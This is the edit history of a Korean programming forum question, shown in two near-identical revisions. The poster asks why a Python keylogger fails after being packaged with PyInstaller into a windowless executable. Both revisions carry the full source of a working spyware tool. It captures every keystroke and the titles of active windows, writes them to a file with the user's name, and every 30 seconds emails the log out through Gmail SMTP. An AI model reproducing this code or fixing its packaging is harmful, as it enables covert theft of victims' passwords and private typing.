편집 기록

편집 기록
  • 프로필 nowp님의 편집
    날짜2021.01.11

    [pyinstaller] path 설정도 했는데 오류가 뜹니다 (failed to execute script)


    import os
    import getpass
    import ctypes
    import smtplib
    import time
    from datetime import datetime
    from threading import Thread
    from pynput.keyboard import Key, Listener
    

    절대경로 설정(pyinstaller 사용시)

    def resource_path(relative_path):
        try:
            # PyInstaller에 의해 임시폴더에서 실행될 경우 임시폴더로 접근하는 함수
            base_path = sys._MEIPASS
        except Exception:
            base_path = os.path.abspath(".")
        return os.path.join(base_path, relative_path)
    

    FILEMANAGER

    username = getpass.getuser()
    now = datetime.now()
    now = str(now).split()[0]
    
    basic = open(resource_path('data.txt'), mode="at", encoding="utf-8")
    basic.write(username + "/" + now + "\n")
    basic.close()
    

    WINMANAGER

    def gettitle():
        lib = ctypes.windll.LoadLibrary('user32.dll')
        handle = lib.GetForegroundWindow()    # 활성화된 윈도우의 핸들얻음
        buffer = ctypes.create_unicode_buffer(255)    # 타이틀을 저장할 버퍼
        lib.GetWindowTextW(handle, buffer, ctypes.sizeof(buffer))    # 버퍼에 타이틀 저장
    
        return buffer.value # buffer return
    

    윈도우 타이틀 감지 함수

    def wintitle():
        oldtitle = gettitle()
        while True:
            time.sleep(0.1)
            if gettitle() != oldtitle:
                logger("\n" + "///" + gettitle() + "///" + "\n")
            oldtitle = gettitle()
    

    KEYLOGGING

    감지한 키 로깅

    def logger(key):
        key = str(key).replace("'", "")
        f = open(resource_path('data.txt'), mode="at", encoding="utf-8")
        f.write(key + "\n")
        f.close()
    

    키 입력 감지 함수

    def on_press(key):
        logger(key)
        print(key)    
    

    MAILMANAGER

    def main2():
    
        sender = 'xxx@gmail.com' # 발신자 이메일
        receiver  = 'xxx@gmail.com' # 수신자 이메일 (자기 자신에게 전송할것이기때문에 동일함)
        username = 'xxx@gmail.com' # 자신의 구글 계정 아이디
        password = 'xxx' # 자신의 구글 계정 패스워드
    
        log = open(resource_path('data.txt'), mode='r', encoding='utf-8').read().encode()
    
        server = smtplib.SMTP('smtp.gmail.com:587')
        server.starttls()
        server.login(username,password)
        server.sendmail(sender, receiver, log)
        server.quit()
    
    if __name__ == "__main__":
        main2()
    

    메일 보내는 시간 설정

    def FSC():
        while True:
            time.sleep(30)
            print("TIME PASS")
            main2()
    

    메인 함수

    def main():         
        with Listener(on_press=on_press) as listener:
            listener.join()
    

    쓰레딩

    mainThread = Thread(target=main)
    titleThread = Thread(target=wintitle)
    FSCThread = Thread(target=FSC)
    
    mainThread.start()
    titleThread.start()
    FSCThread.start()
    

    VSCode 내에서 실행하면 잘만 돌아갑니다. 하지만 exe로 변환시키면서 문제가 발생하네요.

    terminal에 pyinstaller -w --add-data 'data.txt;.' keylogger.py 를 실행시켜 다음 사진과 같은 결과를 얻었습니다. 이미지

    보시다시피 data파일이 문제없이 파일 안에 존재합니다. 그런데 keylogger.exe를 실행시키면 failed to execute script라고 뜨네요.
    경로설정에는 더이상 문제가 없는 것 같은데

  • 프로필 알 수 없는 사용자님의 편집
    날짜2021.01.09

    [pyinstaller] path 설정도 했는데 오류가 뜨네요 ㅠㅠ (failed to execute script)


    import os
    import getpass
    import ctypes
    import smtplib
    import time
    from datetime import datetime
    from threading import Thread
    from pynput.keyboard import Key, Listener
    

    절대경로 설정(pyinstaller 사용시)

    def resource_path(relative_path):
        try:
            # PyInstaller에 의해 임시폴더에서 실행될 경우 임시폴더로 접근하는 함수
            base_path = sys._MEIPASS
        except Exception:
            base_path = os.path.abspath(".")
        return os.path.join(base_path, relative_path)
    

    FILEMANAGER

    username = getpass.getuser()
    now = datetime.now()
    now = str(now).split()[0]
    
    basic = open(resource_path('data.txt'), mode="at", encoding="utf-8")
    basic.write(username + "/" + now + "\n")
    basic.close()
    

    WINMANAGER

    def gettitle():
        lib = ctypes.windll.LoadLibrary('user32.dll')
        handle = lib.GetForegroundWindow()    # 활성화된 윈도우의 핸들얻음
        buffer = ctypes.create_unicode_buffer(255)    # 타이틀을 저장할 버퍼
        lib.GetWindowTextW(handle, buffer, ctypes.sizeof(buffer))    # 버퍼에 타이틀 저장
    
        return buffer.value # buffer return
    

    윈도우 타이틀 감지 함수

    def wintitle():
        oldtitle = gettitle()
        while True:
            time.sleep(0.1)
            if gettitle() != oldtitle:
                logger("\n" + "///" + gettitle() + "///" + "\n")
            oldtitle = gettitle()
    

    KEYLOGGING

    감지한 키 로깅

    def logger(key):
        key = str(key).replace("'", "")
        f = open(resource_path('data.txt'), mode="at", encoding="utf-8")
        f.write(key + "\n")
        f.close()
    

    키 입력 감지 함수

    def on_press(key):
        logger(key)
        print(key)    
    

    MAILMANAGER

    def main2():
    
        sender = 'xxx@gmail.com' # 발신자 이메일
        receiver  = 'xxx@gmail.com' # 수신자 이메일 (자기 자신에게 전송할것이기때문에 동일함)
        username = 'xxx@gmail.com' # 자신의 구글 계정 아이디
        password = 'xxx' # 자신의 구글 계정 패스워드
    
        log = open(resource_path('data.txt'), mode='r', encoding='utf-8').read().encode()
    
        server = smtplib.SMTP('smtp.gmail.com:587')
        server.starttls()
        server.login(username,password)
        server.sendmail(sender, receiver, log)
        server.quit()
    
    if __name__ == "__main__":
        main2()
    

    메일 보내는 시간 설정

    def FSC():
        while True:
            time.sleep(30)
            print("TIME PASS")
            main2()
    

    메인 함수

    def main():         
        with Listener(on_press=on_press) as listener:
            listener.join()
    

    쓰레딩

    mainThread = Thread(target=main)
    titleThread = Thread(target=wintitle)
    FSCThread = Thread(target=FSC)
    
    mainThread.start()
    titleThread.start()
    FSCThread.start()
    

    VSCode 내에서 실행하면 잘만 돌아갑니다... 하지만 exe로 변환시키면서 문제가 발생하네요...

    terminal에 pyinstaller -w --add-data 'data.txt;.' keylogger.py를 실행시켜 다음 사진과 같은 결과를 얻었습니다. 이미지

    보시다시피 data파일이 문제없이 파일 안에 존재합니다. 그런데 keylogger.exe를 실행시키면 failed to execute script라고 뜨네요 ㅠㅠㅠ
    경로설정에는 더이상 문제가 없는 것 같은데